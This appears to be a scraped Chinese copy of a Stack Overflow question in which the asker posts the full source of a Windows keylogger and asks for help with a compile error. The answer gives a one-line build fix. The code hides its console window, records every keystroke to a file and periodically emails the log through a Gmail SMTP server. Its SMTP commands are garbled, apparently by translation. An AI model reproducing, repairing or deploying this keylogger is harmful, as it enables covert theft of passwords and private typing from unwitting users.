gpt4 book ai didi

c++ - 键盘记录器代码中的错误。你能帮我吗?

转载 作者:行者123 更新时间:2023-12-02 10:31:07 25 4
gpt4 key购买 nike

我正在从DEV-C++ IDE中的按键记录器更新C++代码,但其中一些代码未编译。我想要帮助解决此错误。
我的代码:

#include <stdio.h>
#include <windows.h>
#include <time.h>

#define INVISIBLE_CONSOLE 0
#define SILENT_CONSOLE 0

#define LISTENER_TIMER 5
#define SENDER_SLEEP_TIME 100

#define FILE_NAME "MarcadorLog.txt"

#define GMAIL_SERVER "gmail-smtp-in.l.google.com"
#define EMAIL_FROM "teste@gmail.com"
#define EMAIL_TO "teste@gmail.com"

void verifyStealthMode();
void savePressedKey(char pressedKey, char fileName[]);
int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2);
int getFileLength(char fileName[]);
char *getBufferFromFile(char fileName[]);
void overrideFile(char fileName[]);
void sendData(SOCKET socket, char data[]);
void sendEmail(char server[], char from[], char to[], char buffer[]);

void verifyStealthMode() {
if(INVISIBLE_CONSOLE) {
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
}

void savePressedKey(char pressedKey, char fileName[]) {
FILE *file = fopen(fileName, "a+");

fputc(pressedKey, file);
fclose(file);
}

int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2) {
int pressedKey = 0;

for(int character = ASCIIValue1; character <= ASCIIValue2; character++) {
if(GetAsyncKeyState(character) == -32767) {
pressedKey = character;
}
}

return pressedKey;
}

int getFileLength(char fileName[]) {
FILE *file = fopen(fileName, "rb");

fseek(file, 0, SEEK_END);

int fileLength = ftell(file);

fclose(file);

return fileLength;
}

char *getBufferFromFile(char fileName[]) {
FILE *file = fopen(fileName, "rb");

int fileLength = getFileLength(fileName);

char *buffer = (char *) malloc(fileLength + 1);

fread(buffer, sizeof(char), fileLength, file);

buffer[fileLength] = '\0';

fclose(file);

return buffer;
}

void overrideFile(char fileName[]) {
FILE *file = fopen(fileName, "w");

fclose(file);
}

int main() {
verifyStealthMode();

clock_t timer;
clock_t now = clock();

while(1) {
int pressedKey = getPressedKeyBetweenASCII(8, 255);

if(pressedKey) {
savePressedKey(pressedKey, FILE_NAME);

now = clock();
}

timer = (clock() - now) / CLOCKS_PER_SEC;

if(timer > LISTENER_TIMER) {
int fileLength = getFileLength(FILE_NAME);

if(fileLength > 0) {
sendEmail(GMAIL_SERVER, EMAIL_FROM, EMAIL_TO, getBufferFromFile(FILE_NAME));

overrideFile(FILE_NAME);
}

now = clock();
} else if(!SILENT_CONSOLE) {
system("cls");
printf("Lendo...");
printf("\nTime para novo envio: %ld\n\n", (LISTENER_TIMER - timer));
}
}

return 0;
}

void sendData(SOCKET sock, char data[]) {
send(sock, data, strlen(data), 0);
Sleep(SENDER_SLEEP_TIME);

if(!SILENT_CONSOLE) printf("\n%s", data);
}

void sendEmail(char server[], char from[], char to[], char buffer[]) {
SOCKET sock;
WSADATA wsaData;
struct hostent *host;
struct sockaddr_in dest;

char data[3000];

// Get socket and dest:
WSAStartup(0x202, &wsaData);

host = gethostbyname(server);

memset(&dest, 0, sizeof(dest));
memcpy(&(dest.sin_addr), host->h_addr, host->h_length);

dest.sin_family = host->h_addrtype;
dest.sin_port = htons(25);

sock = socket(AF_INET, SOCK_STREAM, 0);

connect(sock, (struct sockaddr *) &dest, sizeof(dest));
Sleep(SENDER_SLEEP_TIME);

sprintf(data, "Ola me.somepalace.com\n");
sendData(sock, data);

sprintf(data, "Email de: <%s>\n", from);
sendData(sock, data);

sprintf(data, "recebido por: <%s>\n", to);
sendData(sock, data);

sprintf(data, "DATA\n");
sendData(sock, data);

sprintf(data, "para: %s\nFROM: %s\nSUBJECT: Keylogger\n%s\r\n.\r\n", to, from, buffer);
sendData(sock, data);

sprintf(data, "sair\n");
sendData(sock, data);

if(!SILENT_CONSOLE) {
printf("\ntodos os pacotes foram enviados");
Sleep(5000);
system("cls");
}

closesocket(sock);
WSACleanup();
}

这是IDE选择的错误行:
for(int character = ASCIIValue1; character <= ASCIIValue2; character++) {
这些是出现在编译器中的两个注释:

[错误]'for'循环初始声明仅在C99或C11模式下允许。

[注意]使用选项-std = c99,-std = gnu99,-std = c11或-std = gnu11来编译代码。

最佳答案

看来您正在将程序编译为C,并以此编译较旧的C语言(要求声明位于函数顶部)。

确保将您的IDE配置为将您的源代码识别为C++,例如通过给文件命名以.cpp结尾而不是.c

关于c++ - 键盘记录器代码中的错误。你能帮我吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/62251503/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com